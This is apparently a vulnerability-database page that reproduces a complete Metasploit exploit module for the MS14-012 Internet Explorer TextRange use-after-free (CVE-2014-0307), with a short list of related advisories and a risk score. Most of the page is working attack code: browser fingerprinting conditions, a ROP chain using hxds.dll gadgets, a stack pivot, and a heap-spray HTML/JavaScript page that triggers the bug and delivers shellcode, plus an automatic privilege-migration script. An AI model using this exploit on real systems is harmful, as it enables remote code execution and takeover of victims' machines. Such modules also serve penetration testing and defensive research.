MS14-012 Microsoft Internet Explorer TextRange Use-After-Free

🗓️ 18 Mar 2014 22:55:56Reported by Jason Kratzer, sinn3r <[email protected]>Type

Exploits use-after-free vulnerability in Internet Explore

Reporter	Title	Published	Views	Family All 17
0day.today	MS14-012 Internet Explorer TextRange Use-After-Free	22 Mar 201400:00	–	zdt
BDU FSTEC	The vulnerability of the Internet Explorer browser, which allows a malicious individual to execute arbitrary code or trigger a service failure.	5 Jul 201600:00	–	bdu_fstec
Circl	CVE-2014-0307	22 Mar 201400:00	–	circl
Check Point Advisories	Microsoft Internet Explorer Memory Corruption (MS14-012; CVE-2014-0307)	23 Mar 201400:00	–	checkpoint_advisories
CVE	CVE-2014-0307	12 Mar 201401:00	–	cve
Cvelist	CVE-2014-0307	12 Mar 201401:00	–	cvelist
Exploit DB	Microsoft Internet Explorer - TextRange Use-After-Free (MS14-012) (Metasploit)	22 Mar 201400:00	–	exploitdb
Microsoft KB	MS14-012: Cumulative security update for Internet Explorer: March 11, 2014	11 Mar 201400:00	–	mskb
NVD	CVE-2014-0307	12 Mar 201405:15	–	nvd
OpenVAS	Microsoft Internet Explorer Multiple Memory Corruption Vulnerabilities (2925418)	18 Feb 201400:00	–	openvas

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::BrowserExploitServer

  def initialize(info={})
    super(update_info(info,
      'Name'           => "MS14-012 Microsoft Internet Explorer TextRange Use-After-Free",
      'Description'    => %q{
        This module exploits a use-after-free vulnerability found in Internet Explorer. The flaw
        was most likely introduced in 2013, therefore only certain builds of MSHTML are
        affected. In our testing with IE9, these vulnerable builds appear to be between
        9.0.8112.16496 and 9.0.8112.16533, which implies the vulnerability shipped between
        August 2013, when it was introduced, until the fix issued in early March 2014.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Jason Kratzer', # Original discovery
          'sinn3r'         # Port
        ],
      'References'     =>
        [
          [ 'CVE', '2014-0307' ],
          [ 'MSB', 'MS14-012' ]
        ],
      'Platform'       => 'win',
      'BrowserRequirements' =>
        {
          :source  => /script/i,
          :os_name => OperatingSystems::WINDOWS,
          :ua_name => HttpClients::IE,
          :office  => "2010",
          :ua_ver  => '9.0',
          :mshtml_build => lambda { |ver| ver.to_i.between?(16496, 16533) } # Covers MS13-Jul to MS14-Feb
        },
      'Targets'        =>
        [
          [
            'Automatic',
              {
                # mov eax,dword ptr [edx+0C4h]; call eax
                'Pivot' => 0x0c0d1020 # ECX
              }
          ]
        ],
      'Payload'        =>
        {
          'BadChars'       => "\x00",
          'PrependEncoder' => "\x81\xc4\x0c\xfe\xff\xff" # add esp, -500
        },
      'DefaultOptions'  =>
        {
          'Retries'              => false, # You're too kind, tab recovery, I only need 1 shell.
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'DisclosureDate' => '2014-03-11', # Vuln was found in 2013. Mar 11 = Patch tuesday
      'DefaultTarget'  => 0))
  end

  # hxds.dll
  def get_payload
    setup =
    [
      0x51C3B376, # rop nop
      0x51C2046E, # pop edi; ret
      0x51BE4A41, # xchg eax, esp; ret
    ].pack("V*")

    # rop nops
    45.times { setup << [0x51C3B376].pack('V*') }

    setup << [
      0x51C2046E, # pop edi ; ret
      0x51BD28D4  # mov eax, [ecx], call [eax+8]
    ].pack('V*')

    p = generate_rop_payload('hxds', payload.encoded, {'target'=>'2010', 'pivot'=>setup})

    Rex::Text.to_unescape(p)
  end

  def exploit_html
    template = %Q|<!DOCTYPE html>
<html>
  <head>
    <meta http-equiv='Cache-Control' content='no-cache'/>
    <meta http-equiv="X-UA-Compatible" content="IE=edge" >
    <script>
      <%=js_property_spray%>
      sprayHeap({shellcode:unescape("<%=get_payload%>")});

      function hxds() {
        try {
          location.href = 'ms-help:';
        } catch(e) {}
      }

      function strike() {
        hxds();
        var fake = "";
        for (var i = 0; i < 12; i++) {
          if (i==0) {
             fake += unescape("<%=Rex::Text.to_unescape([target['Pivot']].pack('V*'))%>");
          }
          else {
            fake += "\\u4141\\u4141";
          }
        }

        var elements = [
          'FOOTER', 'VIDEO', 'HTML', 'DIV', 'WBR', 'THEAD', 'PARAM', 'SECTION', 'IMG',
          'TIME', 'ASISE', 'CANVAS', 'P', 'RT', 'FRAMESET', 'TRACK', 'CAPTION'
        ];

        for (var i = 0; i < elements.length; i++) {
          var element = document.createElement(elements[i]);
          document.body.appendChild(element);
        }

        var tRange = document.body.createTextRange();
        tRange.moveToElementText(document.body.children[16]);
        tRange.execCommand('InsertInputSubmit', true, null);
        tRange.moveToElementText(document.body.children[0]);
        tRange.moveEnd('character',4);
        tRange.execCommand('InsertOrderedList', true, null);
        tRange.select();
        tRange.moveToElementText(document.body.children[0]);
        tRange.moveEnd('character',13);
        tRange.execCommand('Underline', true, null);
        tRange.execCommand('RemoveFormat', true, null);
        var fillObject = document.createElement('button');
        fillObject.className = fake;
      }
    </script>
  </head>
  <body onload='strike();'></body>
</html>
    |

    return template, binding()
  end

  def on_request_exploit(cli, request, target_info)
    send_exploit_html(cli, exploit_html)
  end
end

02 Oct 2020 20:00Current

6.9Medium risk

Vulners AI Score6.9

CVSS 29.3

EPSS0.72239